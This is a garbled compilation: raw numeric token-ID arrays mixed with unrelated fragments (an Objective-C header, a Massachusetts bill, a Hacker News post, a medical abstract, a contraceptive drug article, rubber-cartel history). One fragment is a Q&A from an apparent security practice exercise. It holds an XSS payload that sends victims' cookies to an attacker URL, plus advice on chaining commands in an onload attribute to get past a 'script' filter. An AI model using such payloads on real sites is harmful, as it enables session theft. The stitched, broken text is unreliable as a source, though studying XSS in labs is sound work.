187, 187, 57, 3528, 342, 346, 3866, 3, 8570, 187, 187, 1552, 310, 432, 247, 2990, 3988, 3946, 1895, 15, 187, 510, 2670, 313, 1178, 598, 323, 436, 4096, 10, 9437, 281, 4017, 1411, 1594, 3528, 407, 19690, 686, 3866, 8, 14610, 970, 253, 1563, 2127, 27, 187, 45407, 426, 294, 15, 2377, 9, 83, 31770, 32, 74, 10, 3866, 995, 18586, 3280, 10, 187, 187, 510, 4836, 310, 281, 13194, 247, 24098, 275, 253, 5487, 434, 9882, 326, 651, 513, 1841, 1690, 5007, 616, 14268, 281, 247, 8905, 2036, 8076, 4602, 15, 313, 42, 1849, 2168, 14123, 436, 672, 253, 2670, 3589, 626, 19690, 686, 3866, 8539, 209, 187, 42, 1849, 41548, 436, 285, 1119, 326, 309, 476, 13194, 2014, 25109, 13896, 407, 2403, 19241, 824, 347, 27, 187, 3, 29, 2915, 327, 2799, 30, 26544, 1035, 3, 25521, 61, 3287, 21760, 187, 187, 6436, 13, 436, 2506, 626, 8415, 619, 1895, 984, 352, 476, 760, 13194, 247, 2014, 3923, 313, 42, 2868, 481, 380, 24098, 309, 878, 281, 13194, 4428, 2709, 13896, 15, 209, 187, 42, 1849, 671, 3597, 970, 11685, 1894, 11646, 281, 3693, 253, 5806, 13, 824, 347, 27, 209, 187, 3, 29, 84, 11167, 1525, 28, 1122, 31, 3255, 187, 187, 2858, 253, 5806, 32010, 352, 15, 209, 187, 4943, 310, 253, 2127, 4793, 891, 1353, 970, 27, 187, 29, 2974, 31, 187, 29, 3866, 6740, 568, 2413, 1358, 20742, 15, 41384, 15, 681, 16, 20742, 16, 26959, 16, 19203, 16, 19, 15, 17, 15, 20, 16, 19203, 15, 1222, 15, 4305, 6750, 3866, 31, 187, 29, 3866, 31, 187, 187, 3701, 24098, 9, 1595, 16468, 10, 551, 187, 50274, 3701, 2412, 9, 2203, 10, 551, 187, 50270, 1352, 788, 9, 1595, 16468, 13, 941, 558, 187, 50270, 94, 187, 50270, 3701, 17335, 9, 27616, 10, 551, 187, 50266, 5, 1587, 2974, 6788, 2799, 9, 27616, 13, 1159, 14574, 187, 50262, 605, 19907, 19550, 281, 8905, 4602, 187, 50262, 2808, 9, 3306, 15, 36617, 558, 187, 50266, 9897, 187, 50270, 94, 187, 50270, 26520, 1587, 11379, 3287, 187, 50274, 94, 535, 50274, 3701, 1056, 10516, 9, 89, 859, 29337, 13, 2303, 13, 30539, 10, 551, 187, 50270, 338, 313, 89, 859, 29337, 2295, 470, 10, 551, 187, 50266, 605, 6124, 281, 13194, 672, 627, 310, 642, 5806, 187, 50266, 2309, 2303, 559, 49173, 8716, 32, 89, 859, 1545, 358, 339, 568, 559, 1269, 859, 29337, 15, 18264, 1082, 559, 346, 7, 82, 568, 559, 187, 50262, 25950, 3322, 1864, 23242, 5318, 43467, 3866, 3, 559, 346, 21760, 559, 24098, 15, 18264, 1082, 559, 36417, 35704, 1035, 9739, 559, 30539, 559, 8894, 3287, 870, 3866, 3, 559, 38329, 3287, 187, 50270, 94, 187, 50270, 7271, 551, 187, 50266, 605, 6124, 281, 13194, 672, 686, 3866, 8, 310, 18748, 187, 50266, 2309, 2303, 559, 49173, 8716, 32, 89, 859, 1545, 358, 339, 568, 559, 1269, 859, 29337, 15, 18264, 1082, 559, 346, 7, 82, 568, 559, 187, 50262, 25950, 3322, 1864, 23242, 5318, 43467, 2915, 327, 2799, 30, 26544, 1035, 3, 2566, 61, 3287, 31, 3287, 2490, 50266, 94, 187, 50274, 94, 535, 50274, 2044, 1269, 859, 29337, 426, 337, 28, 187, 50274, 2044, 2303, 426, 346, 2413, 1358, 3593, 15, 17605, 15, 1706, 15, 18, 16, 14831, 296, 383, 3664, 187, 50274, 2044, 30539, 426, 346, 2413, 1358, 11946, 15, 17, 15, 17, 15, 18, 27, 27893, 1787, 16, 3664, 535, 50274, 6999, 3701, 1082, 551, 187, 50270, 2044, 9688, 426, 1056, 10516, 9, 89, 859, 29337, 13, 2303, 13, 30539, 558, 187, 50270, 5, 1587, 73, 20, 6788, 2974, 43467, 66, 2654, 21655, 4492, 10632, 2303, 21655, 6321, 10632, 3860, 2029, 9739, 559, 9688, 559, 8894, 1138, 10871, 17855, 2, 11380, 66, 31, 3287, 187, 50270, 3306, 15, 22339, 1587, 4492, 6788, 9738, 1874, 187, 50270, 9897, 187, 50270, 870, 3866, 31, 654, 73, 20, 3073, 73, 20, 31, 187, 50274, 870, 2974, 31, 187, 187, 6693, 1361, 651, 320, 10260, 14109, 2, 187, 187, 34, 27, 187, 187, 1394, 476, 760, 452, 581, 2048, 275, 271, 327, 2799, 30, 11104, 13, 533, 368, 476, 1335, 1347, 2709, 13896, 15, 187, 8620, 1039, 27, 187, 29, 2915, 327, 2799, 568, 9, 3701, 1082, 551, 20390, 18, 1874, 20390, 19, 1874, 20390, 20, 1874, 13985, 1874, 1138, 187, 187, 1552, 13067, 247, 1159, 2048, 534, 17923, 253, 495, 13896, 13, 285, 840, 4850, 1925, 313, 3529, 434, 253, 6734, 387, 253, 990, 481, 187, 7673, 3588, 4088, 313, 2858, 10369, 13, 564, 342, 253, 806, 2262, 187, 29, 2915, 327, 2799, 568, 14111, 18, 5715, 20390, 19, 5715, 20390, 20, 1874, 1138, 187, 187, 263, 13, 604, 368, 871, 597, 512, 1091, 3221, 90, 2193, 313, 3022, 17011, 407, 417, 10884, 2712, 10, 187, 29, 2915, 327, 2799, 568, 14111, 18, 1082, 2785, 20390, 19, 1082, 2785, 20390, 20, 1874, 1138, 187, 187, 249, 13110, 13, 604, 368, 871, 597, 512, 1091, 492, 307, 1994, 2193, 313, 3022, 3904, 13, 11559, 390, 5113, 10, 187, 29, 2915, 327, 2799, 568, 14111, 18, 1082, 3857, 20390, 19, 1082, 3857, 20390, 20, 1874, 1138, 535, 22183, 16979, 383, 36257, 16, 951, 856, 350, 531, 23150, 187, 187, 22183, 16979, 383, 36257, 16, 951, 856, 350, 531, 23150, 313, 5607, 16, 36, 4899, 582, 671, 1929, 347, 820, 14, 951, 1087, 527, 10966, 285, 4211, 762, 253, 7138, 4454, 36965, 285, 36965, 14, 1671, 2190, 2571, 13, 310, 247, 5019, 273, 5105, 16979, 383, 36257, 313, 5607, 582, 271, 25149, 13, 285, 2645, 856, 350, 531, 23150, 313, 36, 4899, 582, 247, 354, 3219, 249, 285, 3270, 395, 12991, 13, 534, 310, 908, 347, 247, 4201, 1453, 12575, 281, 3657, 10438, 275, 2255, 15, 733, 310, 671, 908, 281, 1555, 39387, 14, 6820, 2515, 275, 2255, 824, 347, 49656, 13, 396, 3399, 83, 21071, 13, 13622, 17754, 16, 2915, 4707, 3116, 13, 33756, 4707, 2957, 13, 285, 1029, 39387, 2308, 1955, 281, 16119, 447, 342, 41578, 15, 380, 12358, 310, 2668, 407, 6208, 2378, 5312, 323, 3127, 575, 11015, 13, 3560, 407, 247, 818, 14, 1201, 1959, 7726, 15, 187, 187, 41225, 4648, 187, 5607, 16, 36, 4899, 310, 908, 347, 247, 5678, 4201, 1453, 12575, 281, 3657, 14246, 1427, 285, 10438, 275, 2255, 15, 733, 310, 671, 7012, 285, 908, 281, 1555, 39387, 14, 6820, 2515, 275, 2255, 824, 347, 49656, 13, 396, 3399, 83, 21071, 13, 288, 19384, 307, 1204, 13, 5343, 3102, 4707, 2957, 13, 285, 4373, 395, 12991, 1204, 1955, 281, 3488, 951, 11224, 43735, 9237, 15, 187, 187, 31130, 4948, 187, 5607, 16, 36, 4899, 3249, 275, 253, 830, 273, 7946, 23368, 285, 4428, 4791, 390, 2456, 575, 21516, 14939, 285, 374, 575, 7913, 330, 4899, 591, 19801, 15, 733, 310, 2668, 2378, 5312, 323, 3127, 575, 11015, 13, 3560, 407, 247, 818, 14, 1201, 1959, 7726, 15, 187, 187, 28541, 2538, 187, 28541, 2538, 273, 14939, 16, 36, 4899, 2486, 7915, 3767, 39667, 21071, 313, 740, 15, 19, 9498, 5988, 12415, 390, 45620, 313, 23, 15, 22, 9498, 24934, 313, 22, 15, 19, 9498, 11219, 1255, 313, 21, 15, 21, 9498, 448, 4213, 5614, 313, 21, 15, 19, 9498, 23201, 12315, 313, 20, 15, 21, 9498, 6137, 5135, 7112, 313, 20, 15, 18, 9498, 945, 26691, 1005, 313, 19, 15, 26, 9498, 33706, 313, 18, 15, 26, 9498, 30297, 313, 18, 15, 24, 9498, 285, 45639, 1632, 313, 18, 15, 18, 10970, 380, 9364, 273, 9454, 342, 14939, 16, 36, 4899, 310, 253, 1072, 347, 326, 342, 643, 4201, 1453, 28123, 15, 187, 187, 30456, 502, 1502, 187, 510, 2495, 273, 23916, 13344, 2399, 16697, 311, 1204, 342, 14939, 16, 36, 4899, 14, 15408, 4201, 1453, 28123, 310, 2074, 281, 326, 342, 14939, 285, 9374, 351, 1751, 15770, 711, 462, 383, 1661, 15770, 285, 3926, 37640, 445, 531, 14, 15408, 4201, 1453, 28123 ]	UNUserNotificationCenter notificationCenter; // @synthesize notificationCenter=_notificationCenter; - (void)userNotificationCenter:(id)arg1 didReceiveNotificationResponse:(id)arg2 withCompletionHandler:(CDUnknownBlockType)arg3; - (void)_sendMessageResponse:(id)arg1 toMessage:(id)arg2 inChat:(id)arg3 withCompletionHandler:(CDUnknownBlockType)arg4; - (void)_markMessageAsRead:(id)arg1 inChat:(id)arg2 withCompletionHandler:(CDUnknownBlockType)arg3; - (void)_setupNotificationCenter; - (void)dealloc; - (id)init; // Remaining properties @property(readonly, copy) NSString debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end Bill H.2119 188th (2013 - 2014) An Act relative to the Department of Fire Services Commission Bill Title: An Act relative to the Department of Fire Services Commission By Mr. Ayers of Quincy, a petition (accompanied by bill, House, No. 2119) of Bruce J. Ayers and Thomas P. Conroy relative to the membership of the Department of Fire Services Commission. Public Safety and Homeland Security. Notwithstanding any special or general law to the contrary, the department of Fire Services Commission shall be composed of a person from the Insurance Commission, the Secretary of Public Safety or his or her designee, a representative of the Governor’s Office, two representatives of the Fire Chiefs Association of Massachusetts, and two representatives of the Professional Firefighters of Massachusetts, appointed by the Governor for a term(s) to coincide with that of the Commonwealth’s Constitutional Offices. The information contained in this website is for general information purposes only. The General Court provides this information as a public service and while we endeavor to keep the data accurate and current to the best of our ability, we make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability or availability with respect to the website or the information contained on the website for any purpose. Any reliance you place on such information is therefore strictly at your own risk. Unsupported Bill Output Format The document text is in an unsupported format to view in a browser. Please use the "Download PDF" link if you wish to View/Print this document. Ask HN: How you you handle the passage of time? - andreisbc I just realised that my last 5 years just flew without notice. How do you get the most out of your days? How do you manage to slow time down? ====== downshun [https://en.m.wikipedia.org/wiki/Time_dilation](https://en.m.wikipedia.org/wiki/Time_dilation) Measuring cilium-induced Ca2+ increases in cultured renal epithelia. The primary cilium is a sensory organelle in many mammalian cells. Functional analysis has established the cilium to be instrumental in the detection of mechanical and environmental changes. The cilium detects these stimuli and activates various signal-transduction pathways including alteration of intracellular Ca(2+) concentration ([Ca(2+)](i)). This chapter describes methods of measuring primary cilium-dependent [Ca(2+)](i) signaling.Q: XSS with "script" removal This is from a network security practice problem. The site (set up for this purpose) attempts to protect against XSS by filtering'script' tags using the following code: filtered = re.sub(r"(?i)script", "", input) The task is to execute a payload in the victim's browser that would do things including send their cookies to a remote netcat connection. (I've already accomplished this when the site wasn't filtering'script'). I've researched this and found that I can execute single javascript commands by making queries such as: "<body onload=alert(\"hello\");>" However, this doesn't solve my problem because it can only execute a single command (I believe). The payload I need to execute contains multiple commands. I've also tried using HTML character codes to avoid the filter, such as: "<script>..." but the filter catches it. Here is the codebase i'm using: <html> <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script> <script> function payload(attacker) { function log(data) { $.get(attacker, data); } function proxy(href) { $("html").load(href, function(){ //Send cookie to remote connection log(document.cookie); }); } proxy("./"); } function makeLink(xssdefense, target, attacker) { if (xssdefense == 0) { //Code to execute when there is no filter return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" + encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">"); } else { //Code to execute when'script' is filtered return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" + encodeURIComponent("<body onload=alert(\"test\");>"); } } var xssdefense = 1; var target = "http://81.211.34.1/xsstest"; var attacker = "http://127.0.0.1:31337/"; $(function() { var url = makeLink(xssdefense, target, attacker); $("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>"); document.getElementById("link").click(); }); </script> <h3></h3> </html> Any help would be greatly appreciated! A: You can only have one expression in an onload= attribute, but you can still perform multiple commands. Good way: <body onload="(function() { cmd1(); cmd2(); cmd3(); })();"> This defines a function expression which performs the 3 commands, and then gets called (that's the () at the end). More valid ways (but seriously, go with the first): <body onload="cmd1(), cmd2(), cmd3();"> or, if you know they all return falsey values (like undefined by not returning anything) <body onload="cmd1() \|\| cmd2() \|\| cmd3();"> inversely, if you know they all return truthy values (like numbers, strings or objects) <body onload="cmd1() && cmd2() && cmd3();"> Ethinylestradiol/cyproterone acetate Ethinylestradiol/cyproterone acetate (EE/CPA), also known as co-cyprindiol and sold under the brand names Diane and Diane-35 among others, is a combination of ethinylestradiol (EE), an estrogen, and cyproterone acetate (CPA), a progestin and antiandrogen, which is used as a birth control pill to prevent pregnancy in women. It is also used to treat androgen-dependent conditions in women such as acne, seborrhea, excessive facial/body hair growth, scalp hair loss, and high androgen levels due to ovaries with cysts. The medication is taken by mouth once daily for 21 days, followed by a 7-day free interval. Medical uses EE/CPA is used as a combined birth control pill to prevent ovulation and pregnancy in women. It is also approved and used to treat androgen-dependent conditions in women such as acne, seborrhea, hirsutism, female pattern hair loss, and hyperandrogenism due to polycystic ovary syndrome. Available forms EE/CPA comes in the form of oral tablets and contains 35 or 50 μg EE and 2 mg CPA per tablet. It is taken once daily for 21 days, followed by a 7-day free interval. Side effects Side effects of EE/CPA include dysmenorrhea (10.2%), breast tension or tenderness (6.5%), headache (5.2%), nervousness (4.4%), chloasma (4.2%), depressed mood (3.4%), decreased libido (3.1%), varicosities (2.9%), nausea (1.9%), edema (1.7%), and dizziness (1.1%). The incidence of depression with EE/CPA is the same as that with other birth control pills. Blood clots The risk of venous thromboembolism with EE/CPA-containing birth control pills is similar to that with EE and gestodene-, desogestrel-, and drospirenone-containing birth control pills
[ 17023, 7911, 281, 6558, 17023, 7911, 285, 11528, 1430, 273, 17023, 9603, 16255, 15, 380, 4345, 1097, 14415, 13701, 273, 747, 17023, 4444, 569, 285, 4845, 3275, 13133, 327, 5368, 4444, 569, 15, 380, 4345, 275, 1055, 4447, 247, 7281, 293, 273, 17023, 9603, 12390, 15, 1916, 10517, 253, 6284, 273, 253, 7285, 1930, 13, 253, 17023, 21337, 12390, 13, 247, 747, 15772, 2133, 369, 4232, 27, 247, 773, 43473, 34136, 6456, 6598, 1707, 249, 15572, 273, 253, 1264, 4283, 17023, 21337, 12390, 2335, 1659, 27, 1198, 253, 1986, 2077, 436, 369, 16724, 510, 11879, 589, 29405, 45011, 457, 7115, 273, 3968, 995, 323, 6495, 9643, 16724, 510, 5427, 11879, 589, 29405, 45011, 457, 7115, 273, 253, 1986, 11491, 3, 285, 323, 6176, 253, 16724, 1785, 469, 84, 332, 4152, 1784, 38806, 45067, 611, 1920, 10629, 2788, 28475, 6595, 6598, 5131, 4343, 13, 299, 15, 72, 15, 4047, 390, 253, 322, 319, 13670, 20172, 13, 574, 1694, 642, 6779, 15, 187, 187, 5677, 3188, 187, 510, 1986, 2077, 3597, 281, 2489, 3907, 273, 253, 17023, 7281, 293, 27, 14631, 17023, 4444, 569, 275, 26949, 762, 697, 1453, 28, 16472, 2561, 715, 17023, 14, 28916, 6244, 326, 34298, 275, 253, 1986, 2077, 8, 7952, 28, 285, 294, 7821, 304, 263, 456, 6031, 281, 8171, 3626, 17023, 275, 26429, 342, 247, 13506, 15, 496, 253, 12673, 1373, 571, 18875, 13, 8966, 12673, 4242, 275, 271, 3177, 281, 4711, 17023, 275, 10869, 15, 380, 7088, 2913, 308, 603, 285, 11879, 589, 6487, 3715, 4444, 569, 275, 253, 22075, 285, 26002, 42518, 285, 24611, 8726, 10228, 3715, 4444, 569, 275, 15562, 571, 15, 187, 187, 28743, 715, 13506, 17023, 369, 3710, 407, 3480, 273, 3640, 273, 253, 5793, 2605, 273, 17023, 7006, 1919, 846, 18824, 15, 8502, 49, 834, 574, 3715, 425, 412, 9457, 275, 253, 18471, 84, 275, 2380, 281, 253, 49752, 9224, 13, 533, 425, 412, 9457, 369, 1512, 19983, 323, 2403, 26429, 15, 6408, 436, 2180, 253, 5625, 11879, 589, 5489, 708, 9753, 5986, 285, 253, 5489, 7115, 273, 4782, 11879, 589, 29405, 45011, 497, 11420, 15, 187, 187, 9917, 643, 1732, 11220, 7269, 4343, 751, 6176, 285, 253, 12194, 6398, 3715, 275, 253, 734, 7523, 2180, 13506, 17023, 313, 70, 15, 72, 15, 378, 9821, 15, 1292, 436, 369, 1900, 625, 8214, 685, 3626, 17023, 15, 187, 187, 22817, 14673, 11879, 589, 14297, 13, 13842, 187, 510, 806, 285, 760, 4345, 281, 1705, 432, 253, 1986, 14726, 12651, 327, 17061, 285, 9753, 50276, 29653, 456, 35226, 323, 46018, 1005, 369, 271, 5625, 14673, 11879, 589, 14297, 15, 380, 4345, 574, 2074, 16566, 15, 733, 5611, 253, 4473, 273, 6036, 8294, 323, 22599, 5213, 5739, 15, 187, 187, 4941, 187, 22817, 11879, 589, 5489, 708, 9753, 5986, 187, 12697, 273, 14673, 11879, 589, 313, 7834, 495, 10, 187, 510, 16061, 273, 11879, 589, 27, 4727, 314, 285, 4281, 395, 187, 17239, 416, 15, 5769, 86, 14032, 13, 3003, 530, 15, 52, 15, 443, 4741, 18174, 10634, 19058, 6369, 1922, 53, 1864, 39572, 10172, 947, 25382, 40630, 22715, 1253, 38460, 13, 21919, 21897, 20695, 14, 3887, 10909, 14, 16604, 28124, 13, 11669, 18196, 13, 14070, 6516, 273, 10784, 13, 11988, 13, 14070, 16261, 15270, 313, 23375, 13, 14828, 10, 187, 187, 16927, 187, 187, 1413, 27, 27916, 589, 4491, 187, 1413, 27, 38, 11109, 2892, 273, 253, 1986, 11491, 187, 1413, 27, 38, 11109, 2892, 273, 5427, 187, 1413, 27, 12697, 273, 5213, 5454, 187, 1413, 27, 2115, 18034, 48795, 50, 27, 187, 187, 2347, 281, 755, 5084, 1416, 16, 4663, 672, 10478, 310, 25363, 187, 187, 2347, 281, 755, 253, 50276, 11631, 1416, 9, 10146, 10, 672, 253, 9056, 5084, 1416, 1227, 10146, 310, 25363, 50276, 249, 17899, 24426, 2829, 32, 187, 2413, 1358, 43265, 15, 3024, 16, 89, 75, 20, 1477, 2787, 79, 16, 187, 9906, 15, 2799, 2073, 34309, 1320, 1383, 686, 18, 1383, 551, 24166, 27, 14412, 2420, 6038, 9897, 187, 9906, 15, 1178, 2374, 9624, 18229, 9, 6553, 3235, 558, 187, 3701, 3812, 3235, 1082, 551, 187, 50276, 2044, 941, 426, 747, 17899, 15, 34309, 1320, 15, 3233, 3235, 1874, 187, 50276, 2203, 15, 1911, 13317, 2073, 2703, 1383, 686, 2402, 5137, 187, 50276, 2203, 15, 1911, 13317, 2073, 9133, 1383, 686, 15426, 552, 5137, 187, 50276, 2203, 15, 1911, 13317, 2073, 23170, 1383, 686, 16135, 6865, 5137, 187, 50276, 2203, 15, 1911, 27500, 9, 22, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 17, 13, 470, 13, 686, 8732, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 17, 13, 337, 13, 30321, 13, 34912, 740, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 17, 13, 374, 13, 2032, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 18, 13, 470, 13, 686, 25000, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 18, 13, 337, 13, 2030, 933, 13, 34912, 1099, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 18, 13, 374, 13, 2032, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 19, 13, 470, 13, 686, 31969, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 19, 13, 337, 13, 48296, 13, 34912, 25, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 19, 13, 374, 13, 3221, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 20, 13, 470, 13, 686, 28578, 257, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 20, 13, 337, 13, 1052, 361, 13, 34912, 938, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 20, 13, 374, 13, 2032, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 21, 13, 470, 13, 686, 26946, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 21, 13, 337, 13, 1249, 933, 13, 34912, 805, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 21, 13, 374, 13, 3221, 558, 535, 50276, 2044, 2829, 426, 747, 17899, 15, 34309, 1320, 15, 3235, 9, 3306, 15, 22339, 2073, 2420, 64, 2154, 26811, 535, 50276, 2420, 15, 6553, 9, 2203, 13, 551, 9029, 10990, 8447, 27, 2032, 13, 15227, 27, 686, 25902, 8, 9897, 535, 50276, 9906, 15, 34309, 1320, 15, 20969, 15, 1911, 11119, 9, 2420, 13, 686, 7135, 1383, 1159, 1082, 551, 187, 50274, 2044, 4194, 426, 2829, 15, 788, 23474, 43144, 17, 1570, 736, 28, 187, 50274, 26544, 2073, 1394, 4236, 686, 559, 941, 15, 38950, 9, 736, 13, 470, 4027, 187, 50276, 9897, 187, 187, 94, 187, 187, 34, 27, 187, 187, 688, 19386, 187, 5, 29825, 9906, 14, 34309, 1320, 14, 2420, 14, 394, 6788, 9738, 9, 3701, 9, 70, 910, 187, 50274, 26544, 1587, 1394, 4236, 5084, 27, 346, 559, 299, 15, 936, 7050, 15, 5338, 4312, 558, 187, 9897, 187, 187, 688, 6313, 20235, 187, 2044, 288, 426, 3389, 15, 788, 25170, 3463, 43731, 1587, 9906, 14, 34309, 1320, 14, 2420, 14, 394, 3287, 187, 187, 1542, 313, 74, 426, 470, 28, 891, 654, 288, 15, 3985, 28, 891, 9234, 551, 187, 50274, 73, 60, 74, 1570, 44364, 1587, 9738, 995, 1159, 313, 70, 10, 551, 187, 50270, 26544, 1587, 1394, 4236, 5084, 27, 346, 559, 299, 15, 936, 7050, 15, 5338, 4312, 558, 187, 50274, 2023, 3221, 558, 187, 94, 187, 187, 5035, 634, 9300, 47121, 1060, 27, 3944, 1358, 43265, 15, 3024, 16, 89, 75, 20, 1477, 2787, 79, 16, 21, 16, 535, 9917, 27, 187, 187, 18744, 657, 781, 457, 84, 15350, 1457, 91, 12249, 1241, 13, 835, 23499, 9097, 4962, 390, 497, 37274, 347, 629, 273, 521, 4370, 71, 23144, 4254, 13, 310, 581, 3213, 8003, 281, 2489, 247, 6468, 323, 19848, 9097, 285, 22459, 9097, 27, 11056, 253, 29493, 1387, 40938, 3666, 4003, 23526, 313, 37, 8904, 10, 1905, 9940, 281, 12365, 253, 38087, 273, 448, 1776, 285, 4331, 920, 9097, 323, 1495, 1905, 27599, 327, 253, 2867, 15, 187, 187, 27132, 747, 1416, 27, 380, 7088, 1457, 91, 1720, 8621, 5197, 323, 775, 1243, 285, 24263, 264, 40938, 15, 187, 187, 1628, 49, 3201, 2355, 436, 2867, 285, 275, 1055, 4933, 352, 896, 281, 253, 10349, 273, 253, 7242, 326, 5866, 1060, 310, 247, 1077, 6422, 3213, 323, 5893, 23318, 285, 776, 2586, 457, 84, 9097, 19605, 1806, 2296, 16219, 8432, 596, 333, 570, 13, 15217, 285, 11731, 273, 399, 8904, 15, 773, 1231, 403, 10430, 247, 3935, 281, 1110, 665, 971, 281, 7242, 285, 3819, 9097, 326, 247, 747, 1388, 310, 277, 37567, 275, 3968, 13, 247, 1388, 835, 9097, 403, 4127, 342, 253, 2389, 285, 1675, 597, 17337, 347, 24835, 281, 7497, 1425, 187, 187, 510, 2867, 1905, 2378, 657, 781, 457, 84, 9385, 2419, 1905, 310, 13318, 247, 5389, 581, 15, 4794, 281, 253, 5041, 5779, 13, 253, 577, 13, 10487, 14, 15044, 14, 8938, 3168, 14, 67, 4662, 2419, 313, 8826, 1067, 352, 247, 35390, 10, 556, 28395, 264, 45925, 723, 13, 767, 45151, 10730, 6985, 84, 13, 247, 39696, 275, 581, 15336, 13, 285, 247, 10864, 448, 34634, 1321, 15, 733, 17954, 327, 1458, 20046, 273, 2659, 15, 187, 187, 1989, 323, 512, 697, 12994, 1140, 44977, 13, 253, 2867, 310, 1308, 34282, 342, 19513, 12959, 15, 3808, 403, 987, 762, 8938, 27, 399, 8904, 9708, 86, 398, 1158, 253, 3644, 42131, 327, 253, 23656, 778, 973, 320, 2614, 432, 253, 9097, 15, 187, 187, 2214, 399, 8904, 13, 253, 9261, 432, 4370, 7085, 281, 4370, 13926, 3548, 457, 85, 816, 247, 24762, 10170, 27, 380, 1387, 3198, 247, 9509, 323, 28187, 9097, 15, 399, 8904, 556, 644, 25243, 2158, 285, 294, 12856, 272, 9097, 2439, 253, 1982, 323, 253, 1390, 7457, 1107, 15, 3808, 495, 13, 933, 9097, 452, 574, 616, 4852, 3531, 1475, 407, 616, 15986, 285, 25243, 398, 15, 1292, 253, 1387, 556, 1620, 574, 247, 9509, 281, 1067, 697, 1211, 15, 187, 187, 4967, 247, 2419, 32, 4923, 326, 457, 84, 752, 253, 9097, 878, 13, 2296, 596, 333, 570, 15, 743, 5667, 629, 273, 19427, 281, 1495, 3304, 247, 18248, 1728, 310, 281, 3153, 3304, 247, 18248, 1728, 15, 380, 1387, 457, 84, 4736, 310, 281, 14471, 6783, 448, 1243, 390, 33945, 264, 9097, 591, 807, 13, 285, 281, 6524, 823, 3081, 9189, 627, 281, 1379, 275, 625, 9097, 15, 187, 187, 2993, 2296, 4370, 26987, 588, 320, 10112, 281, 4143, 253, 9509, 285, 253, 14471, 9097, 13, 285, 588, 671, 320, 2104, 281, 4143, 247, 27672, 323, 253, 9097, 665, 4962, 627, 15, 1909, 629, 273, 521, 42346, 4892, 1475, 253, 20902, 13, 2070, 39674, 5490, 6331, 689, 275, 22808, 13, 5854, 281, 2451, 14, 249, 342, 521, 747, 20391, 5453, 326, 344, 13730, 21186, 15, 2070, 39674, 1694, 247, 4839, 281, 1379, 3533, 432, 1652, 5753, 432, 247, 1980, 2143, 285, 253, 1563, 3492, 4352, 253, 4384, 436, 4131, 15, 187, 187, 3220, 7583, 3533, 27, 187, 187, 3, 18837, 79, 626, 634, 806, 1416, 320, 686, 18448, 47186, 187, 187, 3, 6723, 368, 38165, 685, 619, 16522, 865, 187, 187, 3, 6723, 368, 38165, 685, 247, 48496, 23510, 865, 187, 187, 18336, 15867, 273, 22808, 16004, 5579, 27, 14897, 1005, 9833, 4314, 1821, 1390, 2129, 327, 7260, 273, 2820, 281, 37391, 2151, 323, 2825, 275, 271, 4254, 407, 50013, 3513, 13, 253, 308, 35083, 3928, 22565, 457, 84, 4487, 285, 253, 6112, 4487, 273, 5259, 18731, 15, 187, 187, 7130, 281, 3513, 13, 253, 1821, 1869, 597, 497, 44096, 3909, 342, 2151, 11880, 2145, 281, 1668, 285, 497, 2668, 715, 13555, 672, 597, 7244, 387, 271, 50013, 4328, 835, 597, 574, 10912, 281, 2525, 253, 27517, 323, 2825, 15, 187, 187, 33770, 1821, 497, 9833, 327, 7260, 273, 3909, 26854, 3535, 273, 247, 5884, 27, 10765, 2639, 31997, 13, 3925, 28, 3826, 279, 16863, 13, 2164, 28, 3035, 41242, 26424, 13, 2030, 28, 6277, 30533, 251, 338, 1792, 13, 655, 28, 19717, 367, 8297, 76, 13, 7904, 28, 29092, 16040, 13, 3495, 28, 14468, 411, 1595, 13, 5540, 28, 285, 6416, 844, 262, 8420, 13, 2164, 15, 187, 187, 36, 5179, 671, 369, 2918, 327, 16383, 32570, 28, 26424, 9365, 247, 2854, 14, 993, 12426, 4179, 28, 285, 16040, 671, 9365, 7260, 273, 9222, 327, 247, 1345, 21133, 285, 42163, 5263, 15, 1876, 4314, 1821, 452, 30746, 562, 273, 13555, 15, 187, 187, 11387, 4194, 13, 432, 1669, 27, 10765, 2639, 31997, 13, 3826, 279, 16863, 13, 3035, 41242, 26424, 13, 6277, 30533, 251, 338, 1792, 15, 36035, 4194, 13, 432, 1669, 27, 19717, 367, 8297 ]	rubber prices to maintain rubber prices and profitability of rubber producing firms. The agreement both prevented establishment of new rubber plantations and placed production restrictions on existing plantations. The agreement in effect formed a cartel of rubber producing nations. To satisfy the interests of the opposite side, the rubber consuming nations, a new institutional body was established: a “Consumer Advisory Council”. Therein representatives of the three leading rubber consuming nations took place: For the United States this was „The Rubber Manufacturers’ Association of America", for Great Britain „The India Rubber Manufacturers’ Association of the United Kingdom" and for Germany the „Reichsverband der deutschen Kautschukindustrie”. Other countries, e.g. Japan or the Sowjetunion, had got no representation. Outcome The United States tried to become independent of the rubber cartel: establishing rubber plantations in territories under its control; conducting research into rubber-producing plants that thrive in the United States' climate; and reinvigorated efforts to replace natural rubber in tires with a synthetic. In the Fordlandia venture, Henry Ford failed in an attempt to produce rubber in Brazil. The Goodyear Tire and Rubber Company developed plantations in the Philippines and Costa Rica and Harvey Firestone developed plantations in Liberia. Research into synthetic rubber was limited by lack of knowledge of the chemical structure of rubber compounds until after 1945. DuPont had developed neoprene in the 1920s in response to the Stevenson Plan, but neoprene was too costly for making tires. During this period the International Rubber Research & Development Board and the 